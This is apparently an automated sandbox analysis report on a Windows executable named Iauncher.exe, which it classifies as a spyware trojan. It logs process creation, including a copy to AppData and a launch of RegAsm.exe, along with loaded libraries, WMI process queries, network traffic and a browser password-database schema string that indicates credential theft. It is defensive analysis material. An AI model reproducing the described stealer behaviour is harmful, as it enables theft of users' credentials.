Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002A9B000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3682596392.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.siticoneframework.com/
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002A9B000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3682596392.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3676644672.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.siticoneframework.com/pricing.htmlFSoftware

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown	HTTPS traffic detected: 193.109.246.100:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.202.98:443 -> 192.168.2.7:49710 version: TLS 1.2

Source: C:\Users\user\Desktop\Iauncher.exe

Code function: 0_2_09BF2390 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,

0_2_09BF2390

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\Tmp2498.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\Tmp24A8.tmp			Jump to dropped file

Source: C:\Users\user\Desktop\Iauncher.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_05D8D8D0	0_2_05D8D8D0
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_05D8D8C1	0_2_05D8D8C1
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_05DBA520	0_2_05DBA520
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_05DBAC28	0_2_05DBAC28
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_05DD009F	0_2_05DD009F
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_075EF478	0_2_075EF478
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_09BF97F0	0_2_09BF97F0
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_09BF97E0	0_2_09BF97E0
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_09CA9CFC	0_2_09CA9CFC
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_09CA9C54	0_2_09CA9C54
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_09CA7A88	0_2_09CA7A88
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_09CA9DC8	0_2_09CA9DC8
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_09CAF1A0	0_2_09CAF1A0
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_09CA5BE8	0_2_09CA5BE8
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_09CA0040	0_2_09CA0040
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_0056FBC0	11_2_0056FBC0
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_0056CC44	11_2_0056CC44
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_0057BC73	11_2_0057BC73
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00573CF3	11_2_00573CF3
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_0057D4F1	11_2_0057D4F1
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00596545	11_2_00596545
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00595DC0	11_2_00595DC0
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00574713	11_2_00574713
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00BBDC74	13_2_00BBDC74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_04946948	13_2_04946948
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_04947C20	13_2_04947C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_04940006	13_2_04940006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_04940040	13_2_04940040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_04947C10	13_2_04947C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05DA67D8	13_2_05DA67D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05DAA3E8	13_2_05DAA3E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05DA3F50	13_2_05DA3F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05DAA3D8	13_2_05DAA3D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05DA6FF8	13_2_05DA6FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05DA6FE8	13_2_05DA6FE8

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Code function: String function: 00566FC0 appears 49 times

Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs Iauncher.exe
Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSiticone.UI.dll8 vs Iauncher.exe
Source: Iauncher.exe, 00000000.00000002.3682430226.0000000005560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs Iauncher.exe
Source: Iauncher.exe, 00000000.00000002.3674975399.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSiticone.UI.dll8 vs Iauncher.exe
Source: Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSiticone.UI.dll8 vs Iauncher.exe
Source: Iauncher.exe, 00000000.00000002.3674975399.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Iauncher.exe
Source: Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSiticone.UI.dll8 vs Iauncher.exe
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002ACA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs Iauncher.exe
Source: Iauncher.exe, 00000000.00000002.3681933748.0000000005080000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameResourceAssembly.dllD vs Iauncher.exe
Source: Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSiticone.UI.dll8 vs Iauncher.exe
Source: Iauncher.exe	Binary or memory string: OriginalFilename vs Iauncher.exe
Source: Iauncher.exe, 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenameMurkish.exe8 vs Iauncher.exe
Source: Iauncher.exe	Binary or memory string: OriginalFilenameGitgo.exe" vs Iauncher.exe

Source: Iauncher.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: Iauncher.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Iauncher.exe.0.dr

Static PE information: Section: .bsS ZLIB complexity 0.9981044138707038

Source: classification engine

Classification label: mal96.troj.spyw.evad.winEXE@6/7@3/4

Source: C:\Users\user\Desktop\Iauncher.exe

File created: C:\Users\user\AppData\Roaming\Iauncher.zip

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7264:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user~1\AppData\Local\Temp\Tmp2498.tmp

Jump to behavior

Source: Iauncher.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Iauncher.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Iauncher.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Iauncher.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002891000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1436621457.00000000027D6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1436621457.000000000287B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1436621457.00000000027EC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Iauncher.exe

ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Users\user\Desktop\Iauncher.exe "C:\Users\user\Desktop\Iauncher.exe"
Source: C:\Users\user\Desktop\Iauncher.exe	Process created: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe "C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe"
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\Iauncher.exe	Process created: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe "C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: esdsip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\Iauncher.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
